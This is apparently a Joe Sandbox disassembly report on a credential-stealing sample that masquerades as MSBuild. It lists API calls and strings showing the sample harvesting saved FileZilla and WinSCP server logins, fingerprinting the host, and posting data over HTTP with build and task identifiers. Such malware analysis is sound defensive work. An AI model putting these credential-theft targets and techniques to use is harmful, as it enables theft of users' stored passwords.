lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Login: , xrefs: 0040E98C
Soft: FileZilla, xrefs: 0040E948
<Pass encoding="base64">, xrefs: 0040E88A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
Host: , xrefs: 0040E954
<Host>, xrefs: 0040E7D9
passwords.txt, xrefs: 0040EA4D
<Port>, xrefs: 0040E818
Password: , xrefs: 0040E9AE
<User>, xrefs: 0040E851

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: e0bfb3f48dca521f37437996d0ae56c2bb4ebc0dec61cbdd123b49526ae2f6c4
Instruction ID: 14048a2b419fde31a88832429adc402d622cfb8f20e2d9bcd7eb6ceae992149e
Opcode Fuzzy Hash: e0bfb3f48dca521f37437996d0ae56c2bb4ebc0dec61cbdd123b49526ae2f6c4
Instruction Fuzzy Hash: E5A18572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437998,------,0043798C,",task_id,00437978,------,0043796C,",mode,00437958,------,0043794C), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406E82
", xrefs: 00406F61
mode, xrefs: 004071F1
------, xrefs: 00406FE3
", xrefs: 0040721D
", xrefs: 0040737D
------, xrefs: 0040729F
build_id, xrefs: 00407095
status, xrefs: 004074B1
task_id, xrefs: 00407351
------, xrefs: 00407145
", xrefs: 004070C1
------, xrefs: 004073FF
------, xrefs: 00406CFC
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 004070ED
", xrefs: 004074DD

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$566ac7bdeaf763bbaf70aa6d5667c804$build_id$mode$status$task_id
API String ID: 3702379033-3180709460
Opcode ID: c793aeecd545ee641a2a8adfff4ed13e874b461d4c663d960c75efdd339cb0f9
Instruction ID: 42b782e3d86a9350796fa24ab104a47fbd96201bae2466775e008d32658e9246
Opcode Fuzzy Hash: c793aeecd545ee641a2a8adfff4ed13e874b461d4c663d960c75efdd339cb0f9
Instruction Fuzzy Hash: 5052897194016D9ACF61EB62CD46BCCB3B5AF04308F4184E7A51D73161DA746FCA8FA8

Function 0040E186 Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E276
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E29D
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

HostName, xrefs: 0040E367
Soft: WinSCP, xrefs: 0040E2FE
passwords.txt, xrefs: 0040E662
:22, xrefs: 0040E42D
Password: , xrefs: 0040E529
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
Login: , xrefs: 0040E459
UserName, xrefs: 0040E496
Security, xrefs: 0040E253
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
Host: , xrefs: 0040E32A
UseMasterPassword, xrefs: 0040E24E
PortNumber, xrefs: 0040E3BD
Password, xrefs: 0040E515

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction ID: ab712d79911a6534e16ca2c8d51643d97c9570b95301d2e418567ee179d90524
Opcode Fuzzy Hash: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction Fuzzy Hash: 56D1D6B195012DAADF21EB91DC42BD9B778AF04308F5018EBA508B3151DA747FC9CFA5

Function 00405F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,566ac7bdeaf763bbaf70aa6d5667c804,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406367
------, xrefs: 00406080
------, xrefs: 004064C9
mode, xrefs: 00406575
build_id, xrefs: 00406419
------, xrefs: 00406206
", xrefs: 004062E5
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 00406471
", xrefs: 00406445
", xrefs: 004065A1

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$566ac7bdeaf763bbaf70aa6d5667c804$build_id$mode
API String ID: 3702379033-1806847903
Opcode ID: 9130669875251964c831f1a88f491c766dae42b48f3d6367ba80e634a4db9760
Instruction ID: 761880eafc7f1130453e9609930188909abd0ac3e1dc834df3bf91bb01064538
Opcode Fuzzy Hash: 9130669875251964c831f1a88f491c766dae42b48f3d6367ba80e634a4db9760
Instruction Fuzzy Hash: 9E22C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 00418753 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00418794
GetProcAddress.KERNEL32 ref: 004187AB
GetProcAddress.KERNEL32 ref: 004187C2
GetProcAddress.KERNEL32 ref: 004187D9
GetProcAddress.KERNEL32 ref: 004187F0
GetProcAddress.KERNEL32 ref: 00418807
GetProcAddress.KERNEL32 ref: 0041881E
GetProcAddress.KERNEL32 ref: 00418835
GetProcAddress.KERNEL32 ref: 0041884C
GetProcAddress.KERNEL32 ref: 00418863
GetProcAddress.KERNEL32 ref: 0041887A
GetProcAddress.KERNEL32 ref: 00418891
GetProcAddress.KERNEL32 ref: 004188A8
GetProcAddress.KERNEL32 ref: 004188BF
GetProcAddress.KERNEL32 ref: 004188D6
GetProcAddress.KERNEL32 ref: 004188ED
GetProcAddress.KERNEL32 ref: 00418904
GetProcAddress.KERNEL32 ref: 0041891B
GetProcAddress.KERNEL32 ref: 00418932
GetProcAddress.KERNEL32 ref: 00418949
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041895A
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041896B
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041897C
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041898D
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041899E
GetProcAddress.KERNEL32(75A70000,004185D2), ref: 004189BA
GetProcAddress.KERNEL32(75290000,004185D2), ref: 004189D5
GetProcAddress.KERNEL32 ref: 004189EC
GetProcAddress.KERNEL32(75BD0000,004185D2), ref: 00418A07
GetProcAddress.KERNEL32(75450000,004185D2), ref: 00418A22
GetProcAddress.KERNEL32(76E90000,004185D2), ref: 00418A3D
GetProcAddress.KERNEL32 ref: 00418A54

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction ID: 199c42d56f0628ccab12840d69b6f02f13cfb0cf7a8249375453f6caf445ef8e
Opcode Fuzzy Hash: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction Fuzzy Hash: 2B7106B5910312AFEF1ADF60FD488243BA7F70874BF11A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
Part of subcall function 00410F51: RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
